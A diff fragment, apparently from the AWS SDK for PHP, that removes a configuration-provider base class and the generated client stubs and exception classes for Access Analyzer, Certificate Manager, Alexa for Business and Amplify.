* fulfilled with a configuration object. This class provides base functionality
|
||||
* usable by specific configuration provider implementations
|
||||
*/
|
||||
abstract class AbstractConfigurationProvider
|
||||
{
|
||||
const ENV_PROFILE = 'AWS_PROFILE';
|
||||
const ENV_CONFIG_FILE = 'AWS_CONFIG_FILE';
|
||||
|
||||
public static $cacheKey;
|
||||
|
||||
protected static $interfaceClass;
|
||||
protected static $exceptionClass;
|
||||
|
||||
/**
|
||||
* Wraps a config provider and saves provided configuration in an
|
||||
* instance of Aws\CacheInterface. Forwards calls when no config found
|
||||
* in cache and updates cache with the results.
|
||||
*
|
||||
* @param callable $provider Configuration provider function to wrap
|
||||
* @param CacheInterface $cache Cache to store configuration
|
||||
* @param string|null $cacheKey (optional) Cache key to use
|
||||
*
|
||||
* @return callable
|
||||
*/
|
||||
public static function cache(
|
||||
callable $provider,
|
||||
CacheInterface $cache,
|
||||
$cacheKey = null
|
||||
) {
|
||||
$cacheKey = $cacheKey ?: static::$cacheKey;
|
||||
|
||||
return function () use ($provider, $cache, $cacheKey) {
|
||||
$found = $cache->get($cacheKey);
|
||||
if ($found instanceof static::$interfaceClass) {
|
||||
return Promise\promise_for($found);
|
||||
}
|
||||
|
||||
return $provider()
|
||||
->then(function ($config) use (
|
||||
$cache,
|
||||
$cacheKey
|
||||
) {
|
||||
$cache->set($cacheKey, $config);
|
||||
return $config;
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates an aggregate configuration provider that invokes the provided
|
||||
* variadic providers one after the other until a provider returns
|
||||
* configuration.
|
||||
*
|
||||
* @return callable
|
||||
*/
|
||||
public static function chain()
|
||||
{
|
||||
$links = func_get_args();
|
||||
if (empty($links)) {
|
||||
throw new \InvalidArgumentException('No providers in chain');
|
||||
}
|
||||
|
||||
return function () use ($links) {
|
||||
/** @var callable $parent */
|
||||
$parent = array_shift($links);
|
||||
$promise = $parent();
|
||||
while ($next = array_shift($links)) {
|
||||
$promise = $promise->otherwise($next);
|
||||
}
|
||||
return $promise;
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the environment's HOME directory if available.
|
||||
*
|
||||
* @return null|string
|
||||
*/
|
||||
protected static function getHomeDir()
|
||||
{
|
||||
// On Linux/Unix-like systems, use the HOME environment variable
|
||||
if ($homeDir = getenv('HOME')) {
|
||||
return $homeDir;
|
||||
}
|
||||
|
||||
// Get the HOMEDRIVE and HOMEPATH values for Windows hosts
|
||||
$homeDrive = getenv('HOMEDRIVE');
|
||||
$homePath = getenv('HOMEPATH');
|
||||
|
||||
return ($homeDrive && $homePath) ? $homeDrive . $homePath : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets default config file location from environment, falling back to aws
|
||||
* default location
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getDefaultConfigFilename()
|
||||
{
|
||||
if ($filename = getenv(self::ENV_CONFIG_FILE)) {
|
||||
return $filename;
|
||||
}
|
||||
return self::getHomeDir() . '/.aws/config';
|
||||
}
|
||||
|
||||
/**
|
||||
* Wraps a config provider and caches previously provided configuration.
|
||||
*
|
||||
* @param callable $provider Config provider function to wrap.
|
||||
*
|
||||
* @return callable
|
||||
*/
|
||||
public static function memoize(callable $provider)
|
||||
{
|
||||
return function () use ($provider) {
|
||||
static $result;
|
||||
static $isConstant;
|
||||
|
||||
// Constant config will be returned constantly.
|
||||
if ($isConstant) {
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Create the initial promise that will be used as the cached value
|
||||
if (null === $result) {
|
||||
$result = $provider();
|
||||
}
|
||||
|
||||
// Return config and set flag that provider is already set
|
||||
return $result
|
||||
->then(function ($config) use (&$isConstant) {
|
||||
$isConstant = true;
|
||||
return $config;
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Reject promise with standardized exception.
|
||||
*
|
||||
* @param $msg
|
||||
* @return Promise\RejectedPromise
|
||||
*/
|
||||
protected static function reject($msg)
|
||||
{
|
||||
$exceptionClass = static::$exceptionClass;
|
||||
return new Promise\RejectedPromise(new $exceptionClass($msg));
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AccessAnalyzer;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **Access Analyzer** service.
|
||||
* @method \Aws\Result applyArchiveRule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise applyArchiveRuleAsync(array $args = [])
|
||||
* @method \Aws\Result createAnalyzer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createAnalyzerAsync(array $args = [])
|
||||
* @method \Aws\Result createArchiveRule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createArchiveRuleAsync(array $args = [])
|
||||
* @method \Aws\Result deleteAnalyzer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAnalyzerAsync(array $args = [])
|
||||
* @method \Aws\Result deleteArchiveRule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteArchiveRuleAsync(array $args = [])
|
||||
* @method \Aws\Result getAnalyzedResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAnalyzedResourceAsync(array $args = [])
|
||||
* @method \Aws\Result getAnalyzer(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAnalyzerAsync(array $args = [])
|
||||
* @method \Aws\Result getArchiveRule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getArchiveRuleAsync(array $args = [])
|
||||
* @method \Aws\Result getFinding(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getFindingAsync(array $args = [])
|
||||
* @method \Aws\Result listAnalyzedResources(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listAnalyzedResourcesAsync(array $args = [])
|
||||
* @method \Aws\Result listAnalyzers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listAnalyzersAsync(array $args = [])
|
||||
* @method \Aws\Result listArchiveRules(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listArchiveRulesAsync(array $args = [])
|
||||
* @method \Aws\Result listFindings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listFindingsAsync(array $args = [])
|
||||
* @method \Aws\Result listTagsForResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listTagsForResourceAsync(array $args = [])
|
||||
* @method \Aws\Result startResourceScan(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise startResourceScanAsync(array $args = [])
|
||||
* @method \Aws\Result tagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result untagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateArchiveRule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateArchiveRuleAsync(array $args = [])
|
||||
* @method \Aws\Result updateFindings(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateFindingsAsync(array $args = [])
|
||||
*/
|
||||
class AccessAnalyzerClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AccessAnalyzer\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **Access Analyzer** service.
|
||||
*/
|
||||
class AccessAnalyzerException extends AwsException {}
|
||||
@@ -1,36 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Acm;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AWS Certificate Manager** service.
|
||||
*
|
||||
* @method \Aws\Result addTagsToCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise addTagsToCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result deleteCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result describeCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise describeCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result exportCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise exportCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result getCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result importCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise importCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result listCertificates(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listCertificatesAsync(array $args = [])
|
||||
* @method \Aws\Result listTagsForCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listTagsForCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result removeTagsFromCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise removeTagsFromCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result renewCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise renewCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result requestCertificate(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise requestCertificateAsync(array $args = [])
|
||||
* @method \Aws\Result resendValidationEmail(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise resendValidationEmailAsync(array $args = [])
|
||||
* @method \Aws\Result updateCertificateOptions(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateCertificateOptionsAsync(array $args = [])
|
||||
*/
|
||||
class AcmClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Acm\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AWS Certificate Manager** service.
|
||||
*/
|
||||
class AcmException extends AwsException {}
|
||||
@@ -1,195 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AlexaForBusiness;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **Alexa For Business** service.
|
||||
* @method \Aws\Result approveSkill(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise approveSkillAsync(array $args = [])
|
||||
* @method \Aws\Result associateContactWithAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateContactWithAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result associateDeviceWithNetworkProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateDeviceWithNetworkProfileAsync(array $args = [])
|
||||
* @method \Aws\Result associateDeviceWithRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateDeviceWithRoomAsync(array $args = [])
|
||||
* @method \Aws\Result associateSkillGroupWithRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateSkillGroupWithRoomAsync(array $args = [])
|
||||
* @method \Aws\Result associateSkillWithSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateSkillWithSkillGroupAsync(array $args = [])
|
||||
* @method \Aws\Result associateSkillWithUsers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise associateSkillWithUsersAsync(array $args = [])
|
||||
* @method \Aws\Result createAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result createBusinessReportSchedule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBusinessReportScheduleAsync(array $args = [])
|
||||
* @method \Aws\Result createConferenceProvider(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createConferenceProviderAsync(array $args = [])
|
||||
* @method \Aws\Result createContact(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createContactAsync(array $args = [])
|
||||
* @method \Aws\Result createGatewayGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createGatewayGroupAsync(array $args = [])
|
||||
* @method \Aws\Result createNetworkProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createNetworkProfileAsync(array $args = [])
|
||||
* @method \Aws\Result createProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createProfileAsync(array $args = [])
|
||||
* @method \Aws\Result createRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createRoomAsync(array $args = [])
|
||||
* @method \Aws\Result createSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createSkillGroupAsync(array $args = [])
|
||||
* @method \Aws\Result createUser(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createUserAsync(array $args = [])
|
||||
* @method \Aws\Result deleteAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBusinessReportSchedule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBusinessReportScheduleAsync(array $args = [])
|
||||
* @method \Aws\Result deleteConferenceProvider(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteConferenceProviderAsync(array $args = [])
|
||||
* @method \Aws\Result deleteContact(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteContactAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDevice(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDeviceAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDeviceUsageData(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDeviceUsageDataAsync(array $args = [])
|
||||
* @method \Aws\Result deleteGatewayGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteGatewayGroupAsync(array $args = [])
|
||||
* @method \Aws\Result deleteNetworkProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteNetworkProfileAsync(array $args = [])
|
||||
* @method \Aws\Result deleteProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteProfileAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRoomAsync(array $args = [])
|
||||
* @method \Aws\Result deleteRoomSkillParameter(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteRoomSkillParameterAsync(array $args = [])
|
||||
* @method \Aws\Result deleteSkillAuthorization(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteSkillAuthorizationAsync(array $args = [])
|
||||
* @method \Aws\Result deleteSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteSkillGroupAsync(array $args = [])
|
||||
* @method \Aws\Result deleteUser(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteUserAsync(array $args = [])
|
||||
* @method \Aws\Result disassociateContactFromAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise disassociateContactFromAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result disassociateDeviceFromRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise disassociateDeviceFromRoomAsync(array $args = [])
|
||||
* @method \Aws\Result disassociateSkillFromSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise disassociateSkillFromSkillGroupAsync(array $args = [])
|
||||
* @method \Aws\Result disassociateSkillFromUsers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise disassociateSkillFromUsersAsync(array $args = [])
|
||||
* @method \Aws\Result disassociateSkillGroupFromRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise disassociateSkillGroupFromRoomAsync(array $args = [])
|
||||
* @method \Aws\Result forgetSmartHomeAppliances(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise forgetSmartHomeAppliancesAsync(array $args = [])
|
||||
* @method \Aws\Result getAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result getConferencePreference(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getConferencePreferenceAsync(array $args = [])
|
||||
* @method \Aws\Result getConferenceProvider(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getConferenceProviderAsync(array $args = [])
|
||||
* @method \Aws\Result getContact(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getContactAsync(array $args = [])
|
||||
* @method \Aws\Result getDevice(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDeviceAsync(array $args = [])
|
||||
* @method \Aws\Result getGateway(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getGatewayAsync(array $args = [])
|
||||
* @method \Aws\Result getGatewayGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getGatewayGroupAsync(array $args = [])
|
||||
* @method \Aws\Result getInvitationConfiguration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getInvitationConfigurationAsync(array $args = [])
|
||||
* @method \Aws\Result getNetworkProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getNetworkProfileAsync(array $args = [])
|
||||
* @method \Aws\Result getProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getProfileAsync(array $args = [])
|
||||
* @method \Aws\Result getRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRoomAsync(array $args = [])
|
||||
* @method \Aws\Result getRoomSkillParameter(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getRoomSkillParameterAsync(array $args = [])
|
||||
* @method \Aws\Result getSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getSkillGroupAsync(array $args = [])
|
||||
* @method \Aws\Result listBusinessReportSchedules(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listBusinessReportSchedulesAsync(array $args = [])
|
||||
* @method \Aws\Result listConferenceProviders(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listConferenceProvidersAsync(array $args = [])
|
||||
* @method \Aws\Result listDeviceEvents(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listDeviceEventsAsync(array $args = [])
|
||||
* @method \Aws\Result listGatewayGroups(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listGatewayGroupsAsync(array $args = [])
|
||||
* @method \Aws\Result listGateways(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listGatewaysAsync(array $args = [])
|
||||
* @method \Aws\Result listSkills(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listSkillsAsync(array $args = [])
|
||||
* @method \Aws\Result listSkillsStoreCategories(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listSkillsStoreCategoriesAsync(array $args = [])
|
||||
* @method \Aws\Result listSkillsStoreSkillsByCategory(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listSkillsStoreSkillsByCategoryAsync(array $args = [])
|
||||
* @method \Aws\Result listSmartHomeAppliances(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listSmartHomeAppliancesAsync(array $args = [])
|
||||
* @method \Aws\Result listTags(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listTagsAsync(array $args = [])
|
||||
* @method \Aws\Result putConferencePreference(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putConferencePreferenceAsync(array $args = [])
|
||||
* @method \Aws\Result putInvitationConfiguration(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putInvitationConfigurationAsync(array $args = [])
|
||||
* @method \Aws\Result putRoomSkillParameter(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putRoomSkillParameterAsync(array $args = [])
|
||||
* @method \Aws\Result putSkillAuthorization(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise putSkillAuthorizationAsync(array $args = [])
|
||||
* @method \Aws\Result registerAVSDevice(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise registerAVSDeviceAsync(array $args = [])
|
||||
* @method \Aws\Result rejectSkill(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise rejectSkillAsync(array $args = [])
|
||||
* @method \Aws\Result resolveRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise resolveRoomAsync(array $args = [])
|
||||
* @method \Aws\Result revokeInvitation(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise revokeInvitationAsync(array $args = [])
|
||||
* @method \Aws\Result searchAddressBooks(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchAddressBooksAsync(array $args = [])
|
||||
* @method \Aws\Result searchContacts(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchContactsAsync(array $args = [])
|
||||
* @method \Aws\Result searchDevices(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchDevicesAsync(array $args = [])
|
||||
* @method \Aws\Result searchNetworkProfiles(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchNetworkProfilesAsync(array $args = [])
|
||||
* @method \Aws\Result searchProfiles(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchProfilesAsync(array $args = [])
|
||||
* @method \Aws\Result searchRooms(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchRoomsAsync(array $args = [])
|
||||
* @method \Aws\Result searchSkillGroups(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchSkillGroupsAsync(array $args = [])
|
||||
* @method \Aws\Result searchUsers(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise searchUsersAsync(array $args = [])
|
||||
* @method \Aws\Result sendAnnouncement(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise sendAnnouncementAsync(array $args = [])
|
||||
* @method \Aws\Result sendInvitation(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise sendInvitationAsync(array $args = [])
|
||||
* @method \Aws\Result startDeviceSync(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise startDeviceSyncAsync(array $args = [])
|
||||
* @method \Aws\Result startSmartHomeApplianceDiscovery(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise startSmartHomeApplianceDiscoveryAsync(array $args = [])
|
||||
* @method \Aws\Result tagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result untagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateAddressBook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateAddressBookAsync(array $args = [])
|
||||
* @method \Aws\Result updateBusinessReportSchedule(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBusinessReportScheduleAsync(array $args = [])
|
||||
* @method \Aws\Result updateConferenceProvider(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateConferenceProviderAsync(array $args = [])
|
||||
* @method \Aws\Result updateContact(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateContactAsync(array $args = [])
|
||||
* @method \Aws\Result updateDevice(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateDeviceAsync(array $args = [])
|
||||
* @method \Aws\Result updateGateway(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateGatewayAsync(array $args = [])
|
||||
* @method \Aws\Result updateGatewayGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateGatewayGroupAsync(array $args = [])
|
||||
* @method \Aws\Result updateNetworkProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateNetworkProfileAsync(array $args = [])
|
||||
* @method \Aws\Result updateProfile(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateProfileAsync(array $args = [])
|
||||
* @method \Aws\Result updateRoom(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateRoomAsync(array $args = [])
|
||||
* @method \Aws\Result updateSkillGroup(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateSkillGroupAsync(array $args = [])
|
||||
*/
|
||||
class AlexaForBusinessClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AlexaForBusiness\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **Alexa For Business** service.
|
||||
*/
|
||||
class AlexaForBusinessException extends AwsException {}
|
||||
@@ -1,83 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Amplify;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AWS Amplify** service.
|
||||
* @method \Aws\Result createApp(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createAppAsync(array $args = [])
|
||||
* @method \Aws\Result createBackendEnvironment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBackendEnvironmentAsync(array $args = [])
|
||||
* @method \Aws\Result createBranch(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBranchAsync(array $args = [])
|
||||
* @method \Aws\Result createDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result createDomainAssociation(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createDomainAssociationAsync(array $args = [])
|
||||
* @method \Aws\Result createWebhook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createWebhookAsync(array $args = [])
|
||||
* @method \Aws\Result deleteApp(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteAppAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBackendEnvironment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBackendEnvironmentAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBranch(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBranchAsync(array $args = [])
|
||||
* @method \Aws\Result deleteDomainAssociation(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteDomainAssociationAsync(array $args = [])
|
||||
* @method \Aws\Result deleteJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteJobAsync(array $args = [])
|
||||
* @method \Aws\Result deleteWebhook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteWebhookAsync(array $args = [])
|
||||
* @method \Aws\Result generateAccessLogs(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise generateAccessLogsAsync(array $args = [])
|
||||
* @method \Aws\Result getApp(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getAppAsync(array $args = [])
|
||||
* @method \Aws\Result getArtifactUrl(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getArtifactUrlAsync(array $args = [])
|
||||
* @method \Aws\Result getBackendEnvironment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendEnvironmentAsync(array $args = [])
|
||||
* @method \Aws\Result getBranch(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBranchAsync(array $args = [])
|
||||
* @method \Aws\Result getDomainAssociation(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getDomainAssociationAsync(array $args = [])
|
||||
* @method \Aws\Result getJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getJobAsync(array $args = [])
|
||||
* @method \Aws\Result getWebhook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getWebhookAsync(array $args = [])
|
||||
* @method \Aws\Result listApps(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listAppsAsync(array $args = [])
|
||||
* @method \Aws\Result listArtifacts(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listArtifactsAsync(array $args = [])
|
||||
* @method \Aws\Result listBackendEnvironments(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listBackendEnvironmentsAsync(array $args = [])
|
||||
* @method \Aws\Result listBranches(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listBranchesAsync(array $args = [])
|
||||
* @method \Aws\Result listDomainAssociations(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listDomainAssociationsAsync(array $args = [])
|
||||
* @method \Aws\Result listJobs(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listJobsAsync(array $args = [])
|
||||
* @method \Aws\Result listTagsForResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listTagsForResourceAsync(array $args = [])
|
||||
* @method \Aws\Result listWebhooks(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listWebhooksAsync(array $args = [])
|
||||
* @method \Aws\Result startDeployment(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise startDeploymentAsync(array $args = [])
|
||||
* @method \Aws\Result startJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise startJobAsync(array $args = [])
|
||||
* @method \Aws\Result stopJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise stopJobAsync(array $args = [])
|
||||
* @method \Aws\Result tagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise tagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result untagResource(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise untagResourceAsync(array $args = [])
|
||||
* @method \Aws\Result updateApp(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateAppAsync(array $args = [])
|
||||
* @method \Aws\Result updateBranch(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBranchAsync(array $args = [])
|
||||
* @method \Aws\Result updateDomainAssociation(array $args = [])
|
||||
